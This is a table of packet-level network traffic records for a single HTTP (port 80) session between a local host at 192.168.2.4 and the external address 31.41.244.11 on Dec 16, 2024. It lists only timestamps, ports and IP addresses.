Dec 16, 2024 21:02:45.527271986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.527339935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.527385950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.528187990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.528251886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.528295994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.529181957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.529230118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.529261112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.529309034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.530144930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.530194044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.530330896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.530380011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.531148911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.531200886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.531203032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.531240940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.532120943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.532182932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.532249928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.532294989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.533093929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.533148050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.533219099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.533380985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.534118891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.534164906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.534209967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.534246922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.535093069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.535159111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.535196066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.535238028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.536077976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.536149979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.536155939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.536190987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.537100077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.537162066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.537266970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.537321091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.538027048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.538161039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.538196087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.539047003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.539094925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.539190054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.539366961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.540134907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.540178061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.540299892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.540388107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.541203976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.541249990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.541254997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.541286945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.542021036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.542177916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.542222023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.543010950 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.543050051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.543068886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.543081045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.543986082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.544037104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.544109106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.544218063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.545001030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.545043945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.545114040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.545150995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.545973063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.546036959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.546107054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.546144962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.546987057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.547036886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.547106028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.547364950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.548002958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.548053026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.548103094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.548654079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.549015999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.549154997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.549202919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.550076962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.550128937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.550385952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.550678968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.550926924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.551074982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.551127911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.551939964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.552016973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.552067995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.552973986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.553023100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.553210974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.553253889 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.553900957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.553942919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.553967953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.554008007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.554938078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.555005074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.555028915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.555063963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.556096077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.556163073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.556195974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.556236029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.556905985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.556948900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.557028055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.557074070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.557823896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.557872057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.557933092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.557972908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.558902979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.558944941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.558959961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.558980942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.559847116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.559896946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.559969902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.560324907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.560808897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.560858965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.560898066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.561829090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.561876059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.561963081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.562002897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.562913895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.562958956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.562993050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.563030958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.563817024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.563862085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.563918114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.564057112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.564754963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.564802885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.564863920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.564898014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.565773964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.565862894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.565886974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.566013098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.566745043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.566795111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.707068920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.707150936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.707254887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.707369089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.707632065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.707684994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.707684994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.707873106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.708610058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.708702087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.708739042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.708894968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.709614038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.709728956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.709820986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.710621119 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.710705996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.710901976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.711568117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.711678982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.711704016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.711769104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.712538958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.712631941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.712672949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.712862968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.713632107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.713726997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.713749886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.714607000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.714656115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.714679003 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.715090036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.715514898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.715620995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.715714931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.716491938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.716538906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.716658115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.717478037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.717713118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.717741013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.718420982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.718539000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.718559980 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.718583107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.718693018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.719486952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.719506979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.719600916 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.720483065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.720626116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.720798969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.721427917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.721591949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.721735001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.722384930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.722608089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.722630978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.723273993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.723407030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.723597050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.723622084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.723645926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.724411011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.724503994 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.724529982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.724720001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.725414991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.725498915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.725552082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.725642920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.726385117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.726483107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.726528883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.726947069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.727421999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.727535009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.727641106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.728334904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.728456974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.728487015 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.728549004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.729388952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.729454041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.729484081 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.729562998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.730351925 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.730499983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.730525017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.731336117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.731380939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.731405020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.732292891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.732330084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.732352018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.732378960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.733294010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.733326912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.733439922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.733783960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.734263897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.734371901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.734427929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.735264063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.735346079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.735404968 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.735505104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.736294031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.736357927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.736485004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.737283945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.737373114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.737400055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.737813950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.738229990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.738348961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.738373041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.738523960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.739412069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.739512920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.739526987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.739687920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.740472078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.740595102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.740622044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.740873098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.741305113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.741368055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.741391897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.741492033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.742289066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.742392063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.742412090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.742455959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.743177891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.743300915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.743324995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.743660927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.744200945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.744266987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.744317055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.744400024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.745183945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.745424986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.745609999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.746227026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.746373892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.746484995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.747145891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.747246027 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.747311115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.747311115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.748166084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.748233080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.748256922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.749187946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.749306917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.749336004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.749658108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.750178099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.750245094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.750577927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.751108885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.751229048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.751238108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.751362085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.752177954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.752281904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.752283096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.752464056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.753144026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.753273010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.753303051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.754131079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.754160881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.754292965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.754323959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.754453897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.755120039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.755196095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.755250931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.756076097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.756191015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:45.756233931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:45.756297112 CET	49842	80	192.168.2.4	31.41.244.11
